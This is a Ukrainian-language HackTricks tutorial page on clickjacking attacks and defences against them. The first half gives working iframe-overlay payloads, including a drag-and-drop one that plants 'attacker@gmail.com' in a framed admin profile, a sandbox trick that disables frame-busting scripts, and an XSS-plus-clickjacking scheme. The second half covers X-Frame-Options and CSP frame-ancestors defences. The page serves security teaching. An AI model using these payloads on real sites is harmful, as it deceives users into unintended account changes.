Clickjacking

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Використовуйте Trickest, щоб легко створювати та автоматизувати робочі процеси за допомогою найбільш продвинутих інструментів спільноти у світі. Отримайте доступ сьогодні:

Що таке Клікджекінг

Під час атаки клікджекінгу користувача обманюють, щоб він клацнув на елемент веб-сторінки, який або невидимий, або прикритий під інший елемент. Ця маніпуляція може призвести до непередбачуваних наслідків для користувача, таких як завантаження шкідливого програмного забезпечення, перенаправлення на шкідливі веб-сторінки, надання облікових даних або конфіденційної інформації, переказ коштів або онлайн-покупки продуктів.

Хитрість з попереднім заповненням форми

Іноді можливо заповнити значення полів форми, використовуючи GET-параметри при завантаженні сторінки. Злоумисник може скористатися цією поведінкою, щоб заповнити форму довільними даними і відправити клікджекінговий вміст, щоб користувач натиснув кнопку "Відправити".

Заповнення форми за допомогою перетягування та відпускання

Якщо вам потрібно, щоб користувач заповнив форму, але ви не хочете прямо просити його написати певну інформацію (наприклад, електронну пошту або конкретний пароль, який ви знаєте), ви можете просто попросити його перетягнути та відпустити щось, що напише ваші керовані дані, як у цьому прикладі.

Базовий Пейлоад

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Багатоетапний Пейлоад

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Перетягування та клацання вразливість

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Клікджекінг

Якщо ви виявили атаку XSS, яка потребує кліку користувача на певний елемент для спрацювання XSS, і сторінка вразлива до клікджекінгу, ви можете використати це, щоб обманом змусити користувача клікнути на кнопку/посилання. Приклад: Ви знайшли само XSS в деяких конфіденційних деталях облікового запису (деталі, які може встановити і прочитати тільки ви). Сторінка з формою для встановлення цих деталей вразлива до клікджекінгу, і ви можете попередньо заповнити форму з параметрами GET. __Атакувальник може підготувати атаку клікджекінгу на цю сторінку, попередньо заповнюючи форму XSS-навантаженням і обманюючи користувача клікнути на Відправити форму. Таким чином, при відправленні форми і зміні значень, користувач виконає XSS.

Стратегії для запобігання клікджекінгу

Захист на стороні клієнта

Скрипти, що виконуються на стороні клієнта, можуть виконувати дії для запобігання клікджекінгу:

  • Переконання, що вікно додатка є головним або верхнім вікном.

  • Роблення всіх фреймів видимими.

  • Запобігання клікам на невидимі фрейми.

  • Виявлення та попередження користувачів про можливі спроби клікджекінгу.

Однак ці скрипти для вибивання фреймів можуть бути обійдені:

  • Налаштування безпеки браузерів: Деякі браузери можуть блокувати ці скрипти на основі своїх налаштувань безпеки або відсутності підтримки JavaScript.

  • Атрибут HTML5 iframe sandbox: Атакувальник може нейтралізувати скрипти для вибивання фреймів, встановивши атрибут sandbox зі значеннями allow-forms або allow-scripts без allow-top-navigation. Це запобігає перевірці iframe на те, чи воно є верхнім вікном, наприклад,

<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>

Захист на стороні сервера

X-Frame-Options

Заголовок відповіді HTTP X-Frame-Options повідомляє браузерам про законність відображення сторінки в <frame> або <iframe>, допомагаючи запобігти Clickjacking:

  • X-Frame-Options: deny - Жоден домен не може відображати вміст.

  • X-Frame-Options: sameorigin - Тільки поточний сайт може відображати вміст.

  • X-Frame-Options: allow-from https://trusted.com - Тільки вказаний 'uri' може відображати сторінку.

  • Зверніть увагу на обмеження: якщо браузер не підтримує цю директиву, вона може не працювати. Деякі браузери віддають перевагу директиві CSP frame-ancestors.

Директива frame-ancestors в політиці безпеки контенту (CSP)

Директива frame-ancestors в CSP є рекомендованим методом захисту від Clickjacking:

  • frame-ancestors 'none' - Схоже на X-Frame-Options: deny.

  • frame-ancestors 'self' - Схоже на X-Frame-Options: sameorigin.

  • frame-ancestors trusted.com - Схоже на X-Frame-Options: allow-from.

Наприклад, наступний CSP дозволяє відображення тільки з того ж домену:

Content-Security-Policy: frame-ancestors 'self';

Додаткові деталі та складні приклади можна знайти в документації CSP frame-ancestors та документації Mozilla CSP frame-ancestors.

Політика безпеки контенту (CSP) з child-src та frame-src

Політика безпеки контенту (CSP) - це захисний захід, який допомагає запобігти Clickjacking та іншим атакам ін'єкції коду, вказуючи, які джерела браузер повинен дозволити завантажувати вміст.

Директива frame-src

  • Визначає дійсні джерела для фреймів.

  • Конкретніше, ніж директива default-src.

Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Ця політика дозволяє фрейми з того ж джерела (self) та https://trusted-website.com.

Директива child-src

  • Введена на рівні CSP 2 для встановлення дійсних джерел для веб-робітників та фреймів.

  • Діє як резервне значення для frame-src та worker-src.

Content-Security-Policy: child-src 'self' https://trusted-website.com;

Ця політика дозволяє фрейми та робочі процеси з того ж джерела (self) та https://trusted-website.com.

Примітки щодо використання:

  • Застаріння: child-src поступово виходить з ужитку на користь frame-src та worker-src.

  • Резервне поведінка: Якщо frame-src відсутній, child-src використовується як резерв для фреймів. Якщо обидва відсутні, використовується default-src.

  • Суворе визначення джерела: Включайте лише довірені джерела в директиви, щоб запобігти експлуатації.

Сценарії JavaScript для руйнування фреймів

Хоча не є абсолютно надійними, скрипти на основі JavaScript для руйнування фреймів можуть бути використані для запобігання вбудовуванню веб-сторінки. Приклад:

if (top !== self) {
top.location = self.location;
}

Використання анти-CSRF токенів

  • Перевірка токенів: Використовуйте анти-CSRF токени в веб-додатках, щоб забезпечити, що запити, які змінюють стан, здійснюються навмисно користувачем, а не через Clickjacked сторінку.

Посилання

Використовуйте Trickest, щоб легко створювати та автоматизувати робочі процеси за допомогою найбільш продвинутих інструментів спільноти у світі. Отримайте доступ сьогодні:

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated